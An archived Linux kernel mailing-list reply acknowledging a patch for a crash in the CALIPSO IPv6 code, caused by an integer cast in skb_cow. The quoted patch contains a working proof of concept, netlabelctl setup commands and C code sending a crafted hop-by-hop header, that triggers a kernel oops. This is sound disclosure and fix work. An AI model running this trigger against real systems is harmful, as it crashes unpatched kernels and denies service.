[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <CAHC9VhQmR8A2vz0W-VrrhYNQ2wgCYxHbAmdgmM2yTL-uh4qiOg@mail.gmail.com>
Date: Fri, 19 Dec 2025 13:11:26 -0500
From: Paul Moore <paul@...l-moore.com>
To: Will Rosenberg <whrosenb@....edu>
Cc: security@...nel.org, "David S. Miller" <davem@...emloft.net>,
David Ahern <dsahern@...nel.org>, Eric Dumazet <edumazet@...gle.com>,
Jakub Kicinski <kuba@...nel.org>, Paolo Abeni <pabeni@...hat.com>, Simon Horman <horms@...nel.org>,
Huw Davies <huw@...eweavers.com>, netdev@...r.kernel.org,
linux-security-module@...r.kernel.org, linux-kernel@...r.kernel.org
Subject: Re: [PATCH] ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
On Fri, Dec 19, 2025 at 12:37 PM Will Rosenberg <whrosenb@....edu> wrote:
>
> There exists a kernel oops caused by a BUG_ON(nhead < 0) at
> net/core/skbuff.c:2232 in pskb_expand_head().
> This bug is triggered as part of the calipso_skbuff_setattr()
> routine when skb_cow() is passed headroom > INT_MAX
> (i.e. (int)(skb_headroom(skb) + len_delta) < 0).
>
> The root cause of the bug is due to an implicit integer cast in
> __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
> that delta = headroom - skb_headroom(skb) is never negative, otherwise
> we will trigger a BUG_ON in pskb_expand_head(). However, if
> headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
> becomes negative, and pskb_expand_head() is passed a negative value for
> nhead.
>
> Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
> "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
> by only using skb_cow() to grow headroom.
>
> PoC:
> Using `netlabelctl` tool:
>
> netlabelctl map del default
> netlabelctl calipso add pass doi:7
> netlabelctl map add default address:0::1/128 protocol:calipso,7
>
> Then run the following PoC:
>
> int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
>
> // setup msghdr
> int cmsg_size = 2;
> int cmsg_len = 0x60;
> struct msghdr msg;
> struct sockaddr_in6 dest_addr;
> struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
> sizeof(struct cmsghdr) + cmsg_len);
> msg.msg_name = &dest_addr;
> msg.msg_namelen = sizeof(dest_addr);
> msg.msg_iov = NULL;
> msg.msg_iovlen = 0;
> msg.msg_control = cmsg;
> msg.msg_controllen = cmsg_len;
> msg.msg_flags = 0;
>
> // setup sockaddr
> dest_addr.sin6_family = AF_INET6;
> dest_addr.sin6_port = htons(31337);
> dest_addr.sin6_flowinfo = htonl(31337);
> dest_addr.sin6_addr = in6addr_loopback;
> dest_addr.sin6_scope_id = 31337;
>
> // setup cmsghdr
> cmsg->cmsg_len = cmsg_len;
> cmsg->cmsg_level = IPPROTO_IPV6;
> cmsg->cmsg_type = IPV6_HOPOPTS;
> char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
> hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
>
> sendmsg(fd, &msg, 0);
>
> Fixes: 2917f57b6bc1 ("calipso: Allow the lsm to label the skbuff directly.")
> Signed-off-by: Will Rosenberg <whrosenb@....edu>
> ---
>
> Notes:
> -Changing __skb_cow() would likely require an audit of all its use
> cases due to its long legacy in the kernel. After private discussions,
> it was decided that this patch should be applied to calipso to remedy
> the immediate symptoms and allow for easy backporting. However, net
> devs should consider remedying the root cause through __skb_cow()
> and skb_cow().
>
> -Paul, please let me know if I should add any form of credit for
> the patch code, such as "Suggested-By."
>
> net/ipv6/calipso.c | 3 ++-
> 1 file changed, 2 insertions(+), 1 deletion(-)
Folks can add my Suggested-by if they like, but I'm not bothered
either way; getting it fixed upstream is the important part. Thanks
for your work on this Will!
Acked-by: Paul Moore <paul@...l-moore.com>
> diff --git a/net/ipv6/calipso.c b/net/ipv6/calipso.c
> index df1986973430..21f6ed126253 100644
> --- a/net/ipv6/calipso.c
> +++ b/net/ipv6/calipso.c
> @@ -1342,7 +1342,8 @@ static int calipso_skbuff_setattr(struct sk_buff *skb,
> /* At this point new_end aligns to 4n, so (new_end & 4) pads to 8n */
> pad = ((new_end & 4) + (end & 7)) & 7;
> len_delta = new_end - (int)end + pad;
> - ret_val = skb_cow(skb, skb_headroom(skb) + len_delta);
> + ret_val = skb_cow(skb,
> + skb_headroom(skb) + (len_delta > 0 ? len_delta : 0));
> if (ret_val < 0)
> return ret_val;
>
>
> base-commit: ea1013c1539270e372fc99854bc6e4d94eaeff66
> --
> 2.34.1
--
paul-moore.com
Powered by blists - more mailing lists